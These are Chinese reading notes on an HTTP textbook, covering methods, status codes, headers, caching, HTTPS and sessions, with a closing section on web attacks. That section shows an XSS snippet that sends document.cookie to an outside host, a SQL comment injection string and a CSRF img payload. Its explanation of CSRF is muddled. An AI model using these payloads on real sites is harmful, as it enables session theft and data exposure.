第3章:HTTP报文内的HTTP信息
HTTP报文大致可以分为报文首部和报文主体两部分,两者由最初出现的空行(CR+LF)来划分。
报文首部通常指的就是Head部分,报文主体就是传递来回的信息部分。
一般有4种首部,分别是:通用首部、请求首部、响应首部和实体首部。
HTTP/1.0和HTTP/1.1支持的方法
方法 | 说明 | 支持的HTTP协议版本 |
---|---|---|
GET | 获取资源 | 1.0,1.1 |
POST | 传输实体主体 | 1.0,1.1 |
PUT | 传输文本 | 1.0,1.1 |
HEAD | 获取报文首部 | 1.0,1.1 |
DELETE | 删除文件 | 1.0,1.1 |
OPTIONS | 询问支持方法(跨域时候使用) | 1.1 |
TRACE | 追踪路径(追踪被转发了几次的详细情况) | 1.1 |
CONNECT | 要求用隧道协议链接代理 | 1.1 |
LINK | 简历和资源之间的联系(1.1已废弃) | 1.0 |
UNLINK | 断开连接关系 | 1.0 |
第4章 返回结果的HTTP状态码
大致归纳
类别 | 原因短语 | |
---|---|---|
1xx | 信息性状态码 | 接收的请求正在处理 |
2xx | 成功状态码 | 请求正常处理完毕 |
3xx | 重定向状态码 | 需要进行附加操作以完成请求 |
4xx | 客户端错误状态码 | 服务器无法处理请求 |
5xx | 服务器错误状态码 | 服务器处理请求出错 |
状态码详情
- 200 OK 请求正常返回
- 204 No Content 请求处理成功,但是没有资源可返回
- 206 Partial Content 对资源的某一部分的请求
- 301 Moved Permanently 永久重定向
- 302 Found 临时重定向
- 303 See Other 使用GET请求返回的临时重定向
当301,302,303响应状态码返回时,几乎所有的浏览器都会把POST改成GET,并删除请求报文内的主体,之后请求会自动再次发送
301、302标准是禁止将POST方法改成GET方法,但实际使用大家都会这么做 - 304 Not Modified 资源已找到,但未符合条件请求。一般是表示返回的数据是服务器中缓存的
- 307 Temporary Redirect 和302一样,只是其不会禁止POST变换成GET
- 400 Bad Request 请求报文中存在语法错误,当错误发生时,需修改请求的内容后再次发送请求。
- 401 Unauthorized 表示发送的请求需要有通过HTTP认证的认证信息。权限不够
- 403 Forbidden 请求资源的访问被服务器拒绝了
- 404 Not Found 服务器上没有请求的资源
- 500 Internal Server Error 服务器在执行请求时发生了错误
- 503 Service Unavailable 表明服务器暂时处于超负荷或正进行停机维护,现在无法处理请求。
第5章 与HTTP协作的Web服务器
由于一个主机内可能会有多个域名,但是一个请求正常访问的时候是先通过DNS去解析对应的IP地址。但是怎么去对应的URL地址呢?就通过Head上的Host来提示。
保存资源的缓存
缓存是指 代理服务器或客户端本地磁盘内保存的资源副本。
当代理转发从服务器返回的响应时,代理服务器将会保存一份资源的副本。
优势在于利用缓存可避免多次从源头服务器上请求资源。可直接就近在缓存服务器获取资源。
客户端的缓存
客户端的缓存也称为临时网络文件。和缓存服务器相同的一点是,当判定缓存过期后,会向源服务器确认资源的有效性。
第6章 HTTP首部
HTTP请求报文
GET / HTTP/1.1
Host: hackr.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/2010010
Accept: text/html,application/xhtml+xml,application/xml;q=0.9; q=0
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
If-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMT
If-None-Match: "45bae1-16a-46d776ac"
Cache-Control: max-age=0
HTTP响应报文
HTTP/1.1 304 Not Modified
Date: Thu, 07 Jun 2012 07:21:36 GMT
Server: Apache
Connection: close
Etag: "45bae1-16a-46d776ac"
HTTP首部字段一览
有4种首部字段:通用首部字段、请求首部字段Request Head、响应首部字段Response Head和实体首部字段
通用首部字段
首部字段名 | 说明 |
---|---|
Cache-Control | 控制缓存的行为 |
Connection | 逐跳首部、链接的管理 |
Date | 创建报文的日期时间 |
Pragma | 报文末端的首部一览 |
Transfer-Encoding | 指定报文主体的传输编码方式 |
Upgrade | 升级为其他协议 |
Via | 代理服务器的相关信息 |
Warning | 错误通知 |
请求首部字段
首部字段名 | 说明 |
---|---|
Accept | 用户代理可处理的媒体类型 |
Accept-Charset | 优先的字符集 |
Accept-Encoding | 优先的内容编码 |
Accept-Language | 优先的语言(自然语言) |
Authorization | Web认证信息 |
Expect | 期待服务器的特定行为 |
From | 用户的电子邮箱地址 |
Host | 请求资源所在服务器 |
If-Match | 比较实体标记(ETag) |
If-Modified-Since | 比较资源的更新时间 |
If-None-Match | 比较实体标记(与 If-Match 相反) |
If-Range | 资源未更新时发送实体 Byte 的范围请求 |
If-Unmodified-Since | 比较资源的更新时间(与If-Modified-Since相反) |
Max-Forwards | 最大传输逐跳数 |
Proxy-Authorization | 代理服务器要求客户端的认证信息 |
Range | 实体的字节范围请求 |
Referer | 对请求中 URI 的原始获取方 |
TE | 传输编码的优先级 |
User-Agent | HTTP 客户端程序的信息 |
上述表格中加粗的为常用属性。
响应首部字段
首部字段名 | 说明 |
---|---|
Accept-Ranges | 是否接受字节范围请求 |
Age | 推算资源创建经过时间 |
ETag | 资源的匹配信息 |
Location | 令客户端重定向至指定URI |
Proxy-Authenticate | 代理服务器对客户端的认证信息 |
Retry-After | 对再次发起请求的时机要求 |
Server | HTTP服务器的安装信息 |
Vary | 代理服务器缓存的管理信息 |
WWW-Authenticate | 服务器对客户端的认证信息 |
实体首部字段
首部字段名 | 说明 |
---|---|
Allow | 资源可支持的HTTP方法 |
Content-Encoding | 实体主体适用的编码方式 |
Content-Language | 实体主体的自然语言 |
Content-Length | 实体主体的大小(单位:字节) |
Content-Location | 替代对应资源的URI |
Content-MD5 | 实体主体的报文摘要 |
Content-Range | 实体主体的位置范围 |
Content-Type | 实体主体的媒体类型 |
Expires | 实体主体过期的日期时间 |
Last-Modified | 资源的最后修改日期时间 |
上述表格中加粗的为常用属性。
缓存请求指令
指令 | 参数 | 说明 |
---|---|---|
no-cache | 无 | 强制向源服务器再次验证 |
no-store | 无 | 不缓存请求或响应的任何内容 |
max-age = [ 秒] | 必需 | 响应的最大Age值 |
max-stale( = [ 秒]) | 可省略 | 接收已过期的响应 |
min-fresh = [ 秒] | 必需 | 期望在指定时间内的响应仍有效 |
no-transform | 无 | 代理不可更改媒体类型 |
only-if-cached | 无 | 从缓存获取资源 |
cache-extension | - | 新指令标记(token) |
缓存响应指令
指令 | 参数 | 说明 |
---|---|---|
public | 无 | 可向任意方提供响应的缓存 |
private | 可省略 | 仅向特定用户返回响应 |
no-cache | 可省略 | 缓存前必须先确认其有效性 |
no-store | 无 | 不缓存请求或响应的任何内容 |
no-transform | 无 | 代理不可更改媒体类型 |
must-revalidate | 无 | 可缓存但必须再向源服务器进行确认 |
proxy-revalidate | 无 | 要求中间缓存服务器对缓存的响应有效性再进行确认 |
max-age = [ 秒] | 必需 | 响应的最大Age值 |
s-maxage = [ 秒] | 必需 | 公共缓存服务器响应的最大Age值 |
cache-extension | - | 新指令标记(token) |
public&private
Cache-Control: public | private
public:明确表明其他用户也可利用缓存。
private:只能当前用户使用
下面详细介绍各个部分
通用首部字段
Cache-Control
控制缓存的行为。
Cache-Control: private, max-age=0, no-cache
no-cache
Cache-Control: no-cache
Cache-Control: no-cache=Location
no-cache:明确表示客户端不会接受缓存过的响应。这样就可以防止从缓存中返回过期的资源。
no-store
Cache-Control: no-store
暗示请求和对应的响应,该请求或对应的响应中包含机密信息。
Tips:no-cache其实并不是说不缓存,只是代表 不缓存过期的资源。no-store才是真正的不进行缓存,每次都去源头服务器重新请求。
s-maxage
Cache-Control: s-maxage=604800(单位 :秒)
s-maxage指令的功能和max-age指令的相同,不同点就是s-maxage指令只适用于供多位用户使用的公共缓存服务器(代理服务器)。
设置s-maxage之后max-age和Expires都不生效。
max-age
Cache-Control: max-age=604800(单位:秒)
表示将资源保存为缓存的最长时间。
min-fresh
Cache-Control: min-fresh=60(单位:秒)
要求缓存服务器返回至少还未过指定时间的缓存资源。
比如,当指定 min-fresh 为 60 秒后,过了 60 秒的资源都无法作为响 应返回了。
max-stale
Cache-Control: max-stale=3600(单位:秒)
可指示缓存资源,即使过期也照常接收。
only-if-cached
Cache-Control: only-if-cached
该指令要求缓存服务器不重新 加载响应,也不会再次确认资源有效性。若发生请求缓存服务器的本 地缓存无响应,则返回状态码 504 Gateway Timeout。
proxy-revalidate
要求所有的缓存服务器在接收到客户端带有该指 令的请求返回响应之前,必须再次验证缓存的有效性。
no-transform
Cache-Control: no-transform
使用 no-transform 指令规定无论是在请求还是响应中,缓存都不能改 变实体主体的媒体类型。
这样做可防止缓存或代理压缩图片等类似操作。
Connection
- 控制不再转发给代理的首部字段
- 管理持久连接
Date
表明创建 HTTP 报文的日期和时间
Transfer-Encoding
规定了传输报文主体时采用的编码方式
Transfer-Encoding: chunked
Via
为了追踪客户端与服务器之间的请求和响应报文 的传输路径。
Warning
Warning: 113 gw.hackr.jp:8080 "Heuristic expiration" Tue, 03
Warning: [警告码][警告的主机:端口号]“[警告内容]”([日期时间])
警告码 | 警告内容 | 说明 |
---|---|---|
110 | Response is stale(响应已过期) | 代理返回已过期的资源 |
111 | Revalidation failed(再验证失败) | 代理再验证资源有效性时失败(服务 器无法到达等原因) |
112 | Disconnection operation(断开连接操 作) | 代理与互联网连接被故意切断 |
113 | Heuristic expiration(试探性过期) | 响应的使用期超过24小时(有效缓存 的设定时间大于24小时的情况下) |
199 | Miscellaneous warning(杂项警告) | 任意的警告内容 |
214 | Transformation applied(使用了转换) | 代理对内容编码或媒体类型等执行了 某些处理时 |
299 | Miscellaneous persistent warning(持久 杂项警告) | 任意的警告内容 |
请求首部字段Request
Accept
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
上述代码中有 q=
来表示权重值,范围为0-1,不写默认为q=1.0。
Accept-Charset
Accept-Charset: iso-8859-5, unicode-1-1;q=0.8
通知服务器用户代理支持的字符集及 字符集的相对优先顺序。
Accept-Encoding
Accept-Encoding: gzip, deflate
告知服务器用户代理支持的内容编码及 内容编码的优先级顺序
Accept-Language
Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3
Authorization
Authorization: Basic dWVub3NlbjpwYXNzd29yZA==
告知服务器,用户代理的认证信息(证书值)。
Expect
Expect: 100-continue
Host
Host: www.hackr.jp
明确指出请求的主机名。
Referer
Referer: http://www.hackr.jp/index.htm
首部字段 Referer 会告知服务器请求的原始资源的 URI。
Referer 的正确的拼写应该是 Referrer。第一次就拼写错误,后来就将错就错了
User-Agent
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko
用于传达浏览器的种类
响应首部字段
Location
Location: http://www.usagidesign.jp/sample.html
可以将响应接收方引导至某个与请求URI位置不同的资源。
基本上该字段会配合301,302,303等Redirection的响应,提供重定向的URI。
Server
Server: Apache/2.2.17 (Unix)
告知服务器上的服务应用程序版本信息。
实体首部字段
实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首 部,用于补充内容的更新时间等与实体相关的信息。
Allow
Allow: GET, HEAD
通知客户端能够支持 Request-URI 指定资源的所 有 HTTP 方法.
Content-Encoding
Content-Encoding: gzip
首部字段 Content-Encoding 会告知客户端服务器对实体的主体部分选 用的内容编码方式。
Content-Length
Content-Length: 15000
表明了实体主体部分的大小,单位是字节。
Content-MD5
Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==
一串由 MD5 算法生成的值,其目的在于检 查报文主体在传输过程中是否保持完整,以及确认传输到达。
Content-Type
Content-Type: text/html; charset=UTF-8
说明了实体主体内对象的媒体类型。和首部字 段 Accept 一样,字段值用 type/subtype 形式赋值。
Expires
Expires: Wed, 04 Jul 2012 08:26:05 GMT
告知客户端资源失效的日期。
缓存服务器在接 收到含有首部字段 Expires 的响应后,会以缓存来应答请求,在 Expires 字段值指定的时间之前,响应的副本会一直被保存。当超过 指定的时间后,缓存服务器在请求发送过来时,会转向源服务器请求资源。
当首部字段Cache-Control有指定max-age指令时,会优先处理max-age指令。
Last-Modified
Last-Modified: Wed, 23 May 2012 09:59:55 GMT
指明资源的最终修改的时间。
为Cookie服务的首部字段
首部字段名 | 说明 | 首部类型 |
---|---|---|
Set-Cookie | 开始状态管理所使用的Cookie信息 | 响应首部字段 |
Cookie | 服务器接收到的Cookie信息 | 请求首部字段 |
Set-Cookie
Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31
属性 | 说明 |
---|---|
NAME=VALUE | 赋予 Cookie 的名称和其值(必需项) |
expires=DATE | Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止) |
path=PATH | 将服务器上的文件目录作为Cookie的适用对象(若不指定则默 认为文档所在的文件目录) |
domain=域名 | 作为 Cookie 适用对象的域名 (若不指定则默认为创建 Cookie 的服务器的域名) |
Secure | 仅在 HTTPS 安全通信时才会发送 Cookie |
HttpOnly | 加以限制,使 Cookie 不能被 JavaScript 脚本访问 |
其他首部字段
X-Frame-Options
X-Frame-Options: DENY | SAMEORIGIN
用于控制网站内容 在其他 Web 网站的 Frame 标签内的显示问题。主要目的是为了防止点击劫持攻击。
- DENY :拒绝
- SAMEORIGIN :仅同源域名下的页面(Top-level-browsingcontext)匹配时许可。(比如,当指定 http://hackr.jp/sample.html 页面为 SAMEORIGIN 时,那么 hackr.jp 上所有页面的 frame 都被 允许可加载该页面,而 example.com 等其他域名的页面就不行 了)
X-XSS-Protection
X-XSS-Protection:0 | 1
针对跨站脚本攻击XSS的一种对策,用于控制浏览器XSS防护机制的开关。
- 0 XSS过滤设置成无效状态
- 1 XSS过滤设置成有效状态
DNT
Do Not Track的简称。用于拒绝个人信息被收集,表示拒绝被精准广告追踪的一种方法。
- 0 同意被追踪
- 1 拒绝被追踪
确保Web安全的HTTPS
HTTP有这些不足:
- 通信使用明文(不加密),内容可能会被窃听
- 不验证通信放的身份,因此有可能遭遇伪装
- 无法证明报文的完整性,所有有可能已遭篡改
通过和SSL安全套接层或TLS安全层传输协议的组合使用,加密HTTP的通信内容。和SSL组合使用的HTTP被称为HTTPS超文本传输安全协议。SSL会对报文主体进行加密,报文首部都是正常显示。
HTTP+加密+认证+完整性保护 = HTTPS
通常HTTP直接和TCP通信,当使用SSL时,则演变成先和SSL通信,SSL将数据加密之后再和TCP通信。
SSL的加密方式是报文使用公钥加密,传输到TCP上之后服务器接收了再使用服务器上的私钥进行解密。服务器发送给客户端的也是这种方法。公钥是公开的,私钥不是。
SSL是独立于HTTP协议,所以不光是HTTP协议,其他运行在应用层的SMTP和Telnet等协议均可配合SSL协议使用。可以说SSL是当今世界上应用最为广泛的网络安全技术。
HTTPS也存在一些问题,那就是当使用SSL时,它的处理速度会变慢。
SSL 的慢分两种。一种是指通信慢。另一种是指由于大量消耗 CPU 及内存等资源,导致处理速度变慢。
和使用 HTTP 相比,网络负载可能会变慢 2 到 100 倍。
HTTPS安全但是却使用度比不上HTTP。是因为:
- https会占据对于的服务器的CPU资源,是的服务器的处理性能下降
- CA证书,每年要付钱600多RMB
第8章 确认访问用户身份的认证
这里其他认证不讲,用的不多
Session管理及Cookie应用
这个过程是这样的:
- 客户端登录将用户ID和密码通过POST发送给服务器。
- 服务器去数据库验证通过之后发放用以识别用户的一个SessionID。然后将用户的登录信息和该SessionID相互绑定。
想客户端返回响应时,会在首部字段set-cookie
内写入SessionID(如PHPSESSID=028a8c…)。
给SessionID加盐(salt)增加额外信息,也就是使用hash等手段加密。保证攻击者不能随便猜出来。
同时服务器也需要进行该SessionID的有效期的管理,进一步保证其安全性。另外可以在set-cookie
中加入httpOnly
属性,保证客户端无法使用脚本抓取到。 - 客户端接收到服务器发来的SessionID后,将其作为Cookie保存在本地。下次向服务器发送请求时候,自动在head报文上带上。服务器接收数据之后就去验证该cookie是否有效。
其实这种防御还是能被攻击破的,在跨域攻击上CRSF,无法完全避免,只能提高攻击门槛。
第9章 基于HTTP的功能追加协议
Ajax协议
Comet通信
通常在服务器端接收到请求,在处理完毕之后置于挂起状态,当服务器端有内容更新时,再返回该响应。
此时服务器端一旦有更新,就会立即反馈给客户端。
使用浏览器进行全双工通信的WebSocket
一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。
WebSocket协议的主要特点:
- 推送功能
服务器可直接发送数据,而不必等待客户端的请求。 - 减少通信量
只要建立了连接,就一直保持连接状态。和HTTP相比,不但每次连接时的总开销减少,而且由于WebSocket的首部信息很小,通信量也相应的减少了。
期盼已久的HTTP/2.0
目前还主要围绕着7项技术进行讨论。
项目 | 实现 |
---|---|
压缩 | SPDY、Friendly |
多路复用 | SPDY |
TLS 义务化 | Speed+ Mobility |
协商 | Speed+ Mobility,Friendly |
客户端拉曳(Client Pull)/服务器推送 (Server Push) | Speed+ Mobility |
流量控制 | SPDY WebSocket Speed+ Mobilit |
第11章 Web的攻击技术
互联网上重要攻击事件明细表
针对Web应用的攻击模式
有两种:主动攻击和被动攻击
以服务器为目标的主动攻击
主要代表是 SQL注入和 OS命令注入。主要是通过代码传入攻击服务器上的资源。一般都是攻击服务器上的数据库。
以服务器为目标的被动攻击
指利用圈套策略执行攻击代码的攻击模式。在被动攻击的过程中,攻击者不直接对目标Web应用访问发起攻击。
一般有一下几个步骤:
- 诱使用户触发已经设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
- 用户打开浏览器或者邮件,比如在上面放一个带木马link的图片,用户点击之后就会触发。
- 用户点击之后,浏览器会将当前的攻击的HTTP请求当做正常的请求,并在该请求上附带自己的信息token,cookie等。
- 这样攻击者就有可能在用户登录状态下拿到用户的权限。
这种模式最具代表性的就是跨站脚本攻击(XSS)和跨站点请求伪造(CSRF)
跨站脚本攻击(XSS)
攻击者一般在网站的输入表单中植入攻击代码陷阱。利用用户触发该陷阱窃取用户的Cookie等关键信息。
比如在web网站的表单输入框中输入:
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
这是一段获取cookie的代码,如果web网站后台没有做代码转义,cookie又没有设置httpOnly
导致其可以被脚本获取。然后当用户浏览器这段输入的表单信息的时候,这段代码就会被触发。于是cookie就这样被窃取了。
SQL注入攻击
先看一个案例
上图是一个搜索结果,web上使用get方式获取数据,服务器使用select抓取数据并返回。
get请求的URL:
http://www.baidu.com/search?q=上野宣
select语句:
SELECT * FROM bookTbl WHERE author = '上野宣' AND flag = 1;
flag=1表示是正在出售的内容。
那要怎么实现注入呢?将get请求改一下
http://www.baidu.com/search?q=上野宣'--
这样数据库的查询语句就变成了
SELECT * FROM bookTbl WHERE author = '上野宣'--' AND flag = 1;
将“上野宣”字符串改成“上野宣'--”,加三个字符'--
,因为--
在SQL中会将其后面的语句注释掉。这样查询出来的数据就无视后面的flag=1的这个条件了;
于是flag=0这种绝版数据的情况就也能看到了。
当然了上面只是一种很简单的sql注入方式,这种注入要求服务器的程序员都是新手傻帽,不做任何特殊字符验证的。
OS命令注入攻击
指通过web应用,执行非法的 操作系统命令达到攻击的目的。
只要在能调用Shell函数的地方就存在被攻击的风险。
从一个案例上来阐述:
算了 这个看不懂。。。
HTTP首部注入攻击
指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击方式。属于被动攻击模式。
案例:
比如在web中选定某个类别后即可跳转至该类别对应页面的功能为例。每个类别都有一个自己的ID值,一旦选择某个类别,就会将该ID值反应到响应内的Location首部字段内,如Location:http://example.com/?cat=101
。这样会令浏览器发生重定向跳转。
会话劫持
攻击者拿到用户的会话ID,并使用此ID伪装成用户。所以sessionID需要使用Hash加密增加难度。一般攻击者会通过下面几种放回获取会话ID
- 靠经验去猜...
- 通过XSS窃取
-
通过会话固定攻击强行获取会话ID
案例上面第一个讲XSS的时候就说过了
会话固定攻击
该攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。
案例:
- 用户登录网站,服务器发布一个会话ID给用户。比如
http://example.com/login?SID=f5d1278e8109
;随后用户的每次请求都会将此会话ID带上和服务器进行通信。 - 在用户通信之前将第一步中的URL作为陷阱,诱使用户前去认证
- 认证之后会话ID变为(用户已认证)状态
- 攻击者直接使用第一步中的url访问
跨站点请求伪造CSRF
指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新。
攻击案例:
下面用留言板为例,讲解跨站点请求伪造。该功能只允许登录的用户留言。
- 攻击者在留言板上发表含有恶意代码的代码
<img src="http://www.gongjizhe.com/msg?q=你傻逼"
- 用户A登录并浏览到该部分代码
- 由于网站管理员后台没有设定转义字符,该代码会自动执行被当做一个请求发送给了攻击者
-
用户A在不知道的情况下发送给了一个请求给攻击者,这个请求上还附带着他的Cookie,这样攻击者就拿到了用户A的会话ID
其他安全漏洞
密码破解
密码破解攻击,就是算出密码,突破认证。比如ping路由器。。。
一般就两种:
- 密码试错,暴力破解。ping路由器
- 对已加密密码的破解。抓包,再暴力试错破解。
密码试错
- 穷举法——暴力破解法。对所有秘钥集合构成的秘钥空间进行穷举。
- 字典攻击。这个你懂的
对已加密密码的破解
Web在保存密码的时候,一般不会直接以明文的方式保存,通过散列函数(MD5、Hash)做散列处理或加salt的手段对要保存的密码本身加密。
- 注册时,密码被MD5加密存储到数据库中
- 登录时,密码转化成MD5格式,拿到数据库中对比
点击劫持
利用透明的按钮或链接做陷阱,覆盖在web页面上。比如电影下载网站上的一层透明层。点击就前往赌博网站。这种行为也叫界面伪装
案例:
在目标网站上设置一个透明的iframe,然后该透明的iframe上设置一个button,这个button的位置和目标页面的用户会点击的按钮位置一致。当用户点击目标网站的按钮的时候实际上点的是iframe上的按钮。
DOS攻击
一种让运行中的服务呈停止状态的攻击。也叫服务停止攻击或拒绝服务攻击。DOS攻击的对象不仅仅是Web网站,还包括网络设备及其服务器等。
一般有两种方式:
- 集中利用访问请求造成资源过载,让服务器带宽被占完。此时其他用户就无法正常访问服务器了
其实单纯来讲就是发送大量的合法请求,把服务器搞瘫痪。 - 通过攻击安全漏洞使服务停止
最后总结
这本书很多地方都是讲解了http过程中的方方面面,各种过程状态,对以前模棱两可的知识一次总结。另外也了解了一些攻击方法。很多的攻击都是源于粗心的前端和后端的安全机制漏洞造成的。书籍内容不深,不过对以往知识的总结不错!推荐3天迅速读完并笔记。